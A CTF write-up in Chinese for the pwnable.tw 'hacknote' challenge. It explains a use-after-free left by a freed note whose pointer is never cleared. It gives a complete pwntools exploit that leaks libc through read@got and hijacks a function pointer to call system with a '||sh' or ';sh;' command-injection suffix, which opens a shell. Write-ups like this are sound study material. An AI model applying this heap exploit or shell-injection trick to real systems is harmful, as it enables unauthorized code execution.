产生漏洞的原因是free后chunk未置零
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); index = atoi(&buf); if ( index < 0 || index >= global_idx ) { puts("Out of bound!"); _exit(0); } if ( notelist[index] ) { free(*((void **)notelist[index] + 1)); // free content // free后chunk未置零,uaf free(notelist[index]); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
结构体如下
1 2 3 4 5 6 ptr[i]->struct //i<5 struct _note { func *addr; //0x804862b int *content; }note;
利用的思路
1 2 3 4 5 6 7 8 9 10 note0: addr(8)+content(16) note1: addr(8)+content(16) free note1,note0 8byte's gadget in fastbin:note0->note1 note2: addr(8)+content(8) //content(8) modified to trigger a func_call puts('read@got'), //read the recv to calculate the libc_baseprint(note1)free note2 8byte's gadget in fastbin:note2's func_ptr->note2's content(aka note1's func_ptr) note3: addr(8)+content(8) //note3's content(8) returns the note1's func_ptr, //modify it to trigger a call system('||sh') print(note1)
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * context.log_level='DEBUG' r=remote('chall.pwnable.tw',10102) file=ELF('./hacknote') libc=ELF('./libc_32.so.6') ''' r=process('./hacknote') file=ELF('./hacknote') libc=ELF('/lib/i386-linux-gnu/libc-2.28.so') ''' def add(len,content): r.sendlineafter('Your choice :','1') r.sendlineafter('Note size :',str(len)) r.sendafter('Content :',content) def delete(index): r.sendlineafter('Your choice :','2') r.sendlineafter('Index :',str(index)) def print_note(index): r.sendlineafter('Your choice :','3') r.sendlineafter('Index :',str(index)) add(16,'a'*16) #note0 add(16,'a'*16) #note1 delete(1) delete(0) read_got=file.got['read'] fun_addr=0x0804862B add(8,p32(fun_addr)+p32(read_got)) print_note(1) read_addr=int(u32(r.recv(4))) success('read_addr'+hex(read_addr)) sys_addr=read_addr-libc.sym['read']+libc.sym['system'] delete(2) #add(8,p32(sys_addr)+';sh;') add(8,p32(sys_addr)+'||sh') print_note(1) r.interactive()
ps:这里最后执行的system()调用是print_note函数里的
1 2 if ( notelist[index] ) (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
即system传入的参数是notelist[index],所以需要字符串截断;截断的方法是||
还有一种方法是利用命令注入传入;sh;(或$0等的参数,$0不能字符截断,这里不可行)
参考web中命令注入漏洞的利用